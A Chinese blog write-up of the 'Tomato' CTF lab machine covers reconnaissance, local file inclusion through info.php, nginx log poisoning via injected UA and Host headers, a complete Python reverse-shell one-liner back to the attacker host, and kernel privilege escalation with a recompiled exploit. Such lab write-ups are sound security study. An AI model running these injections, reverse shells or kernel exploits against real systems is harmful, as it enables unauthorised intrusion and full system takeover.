21、Tomato

难度 低(个人认为中)

目标 root权限 + 一个flag

使用VMware启动

kali 192.168.152.56 靶机 192.168.152.66

信息收集

端口信息收集

可以看到有个ftp服务,2211实际是ssh协议端口,80、8888是一个web服务

web测试

80端口显示一个tomato

查看源码给了一些提示

先上dirseardh扫一遍

然后用gobuster的中等字典扫了一下也没有结果

8888端口需要密码登录

可能和前面给的一些提示有关

然后使用cewl命令爬取一下这个页面搞了个字典用hydra爆破了一下这个8888端口的服务发现也没有结果,然后又爆破了一下ftp和ssh服务也没有结果

可能是字典不行,换字典继续跑,把kali的自带的seclectlist下面目录字典使用gobuster跑完了都没跑出来任何东西

看wp用dirb的可以跑出一个目录出来

以后打靶场没思路的时候把所有扫描工具全部上一遍。。。

用的这个的字典/usr/share/dirb/wordlists/common.txt。。。

进去可以看到一些源码内容

把能点的全部浏览了除了这三个图片还有两个txt和info.php其他都是空白,没有其他有效的消息了

看着readme这个网站好像是一个wordpress的一个网站机器人插件用来反爬虫的

突破边界

我以为是要根据这个readme中的内容去官网找源码。。。我搞好了半天都没找到突破点

看了wp看info.php的源码。。。

做这种题只想暴打出题人,到底是在打靶场还是打ctf

看到疑似加载本地资源的参数考虑是否存在任意文件读取,php语言考虑文件包含以及搭配利用各种伪协议

通过信息可以看到这个tomato用户存在

然后继续利用这个文件包含,尝试了一些可以命令执行的伪协议没有什么反应,然后看能不能加载远程文件

但是查看信息发现allow_url_include为off,只有下面两个都为on才支持远程文件包含

那么是否可以尝试包含session文件或者日志文件

经过我的尝试确定了日志文件的路径,一些apache和nginx的路径去猜一下

/var/log/nginx/access.log

并且这个日志记录的是8888端口的访问记录,就那个登录的包修改一些UA

可以看到记录也出现了

那么我们写一段php代码进去然后包含这个日志文件看执不执行

可以看到成功的执行了

那么可以直接写反弹shell的命令进行shell的反弹了

但是搞了半天没成功,我不知道是不是里面有什么编码的问题,写多了搞得这个日志都记录不进去了。只能换个日志选择nginx的错误日志,同时在nginx的错误日志中发现了这个8888登录在使用/etc/nginx/.htpasswd文件中的内容进行判断,然后读取这个文件读到了账号密码

ngnix:apr1azDw/Iwv$E7rIlqjeiX9Sx9.sMCcAZ0

拿这个密码去CMD5网站解密发现要钱。。算了还是继续文件包含吧

换了个文件成功的包含了

/var/log/nginx/error.log

这个文件会包含所有登录失败的请求路径和host,那么这里修改host

成功的回显了数据

能稳定执行命令后尝试使用各种方式方式反弹shell,最后使用python成功的吧shell反弹了回来

python 复制代码
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.56",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

拿到shell发现是www的权限

因为是直接使用python的pty反弹的所以已经是比较高级的shell了

提权

然后先上个信息收集的脚本linpeas.sh

一上来就是爆红

小于4.6的内核都可以考虑脏牛提权CVE-2016-5195

尝试脏牛然后发现靶机上面缺少了一些环境。。。这种情况最麻烦了

然后去找其他的利用方式

发现基本上使用c编译成的exp都会受限,应该是在kali上面进行gcc用了靶机没有的东西

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

环境上最高才2.23,只能下载一个带有低版本GLIBC的包然后gcc的使用这个包里的来编译,下载2.1x的包就刚好

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

然后使用dpkg -x解压

这里不用脏牛了用上面检测出的第二个

把这个c文件cp到当前目录

gcc 45010.c -o exp -Ldir ./libc6_2.19-0ubuntu6_amd64/lib/x86_64-linux-gnu/libc.so.6

然后上传上去赋予权限成功的提权

拿到flag

这种环境的原因真的好麻烦。另外内核漏洞的一些poc可以在这里找

GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合

相关推荐
曾令胜16 分钟前
云服务器被攻击后分析恶意脚本修复漏洞
网络安全·安全威胁分析
坤坤子吖1 小时前
Linux网络编程:自定义应用层协议与 JSON 序列化
linux·服务器·网络·c++·笔记·json
Felven3 小时前
华为鲲鹏920s芯片serdestool工具使用说明
linux·运维·服务器·华为·鲲鹏920·serdestool
莫晓燚3 小时前
mall 电商项目完整部署---实战
linux·运维·docker·容器
咋的啥名都用不了呢~3 小时前
Linux项目部署5(安装Nginx的插件)
linux
CodeYp20194 小时前
第11讲:应用层协议 HTTP
linux·http
爱和冰阔落4 小时前
【Linux网络】JsonCpp 怎么实现序列化?从 Request/Response 到网络计算器消息设计
linux·运维·网络·php
山东科恩光电4 小时前
安全地毯压力感应防护在工厂自动化区域的实时监测与停机联动应用
安全
我是koten9 小时前
【运维杂谈】K8s遇到Terminating的名称空间删除不了怎么办?(解决方案亲测有效)
linux·运维·服务器·云原生·kubernetes·k8s·名称空间
菩提小狗16 小时前
每日安全情报报告 · 2026-11-09
网络安全·漏洞·cve·安全情报·每日安全